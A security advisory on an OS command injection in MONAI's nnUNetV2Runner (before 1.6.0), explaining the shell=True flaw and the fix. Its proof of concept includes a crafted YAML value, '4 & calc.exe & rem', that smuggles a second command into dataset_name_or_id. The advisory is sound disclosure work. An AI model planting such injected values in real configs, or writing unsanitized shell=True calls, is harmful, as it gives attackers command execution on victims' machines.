highAug 18, 2026

MONAI nnUNetV2Runner OS Command Injection via dataset_name_or_id

Shubham Kandhare
Security Engagement Manager, SecureLayer7

MONAI's nnUNetV2Runner passes a YAML-supplied dataset name directly into a shell command without sanitization, letting an attacker run arbitrary OS commands by embedding shell metacharacters in a…

PackageMONAI
Ecosystempip
Affected< 1.6.0
Fixed in1.6.0
MONAI nnUNetV2Runner OS Command Injection via dataset_name_or_id

The problem

The nnUNetV2Runner class in monai/apps/nnunet/nnunetv2_runner.py builds shell commands by string-concatenating YAML config values, including dataset_name_or_id and CLI kwargs, then passes the result to subprocess with shell=True.

Because the input is never quoted or validated, any user who controls the YAML file can inject shell metacharacters. On Windows the separator is &; on Linux it is ;. The victim only needs to load the crafted YAML and trigger a training or validation run.

Proof of concept

A working proof-of-concept for this issue in MONAI, with the exact payload below.

python
# crafted input.yaml
dataset_name_or_id: '4 & calc.exe & rem'
dataroot: C:/data
datalist: C:/data/lists/task4.json
work_dir: C:/data/work
nnunet_raw: C:/data/nnUNet_raw
nnunet_preprocessed: C:/data/nnUNet_preprocessed
nnunet_results: C:/data/nnUNet_results

# victim code
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner
runner = nnUNetV2Runner(input_config='input.yaml', trainer_class_name='nnUNetTrainer')
runner.train_single_model(config='3d_fullres', fold=0, gpu_id=0)
# calc.exe (or any payload) executes in the OS shell

The runner assembles a command string such as nnUNetv2_train 4 & calc.exe & rem 3d_fullres 0 ... and calls subprocess.run(cmd, shell=True). With shell=True, the OS shell interprets & as a command separator, so the injected token runs as a separate process with the same privileges as the Python process.

The fix in PR #8885 (shipped in 1.6.0) removes shell=True and passes arguments as a list, so metacharacters in dataset_name_or_id or other config values are treated as literal strings, never interpreted by the shell. This is the standard remediation for CWE-78.

The fix

Upgrade to MONAI 1.6.0. The patch in PR #8885 replaces shell=True subprocess calls with argument-list form, eliminating shell interpretation of config-supplied values. There is no workaround for older versions other than strictly controlling who can supply YAML config files to the runner.

Reported by JPCERT/CC (coordinated disclosure, JVN#50379904).

References: [1][2][3][4]

Related research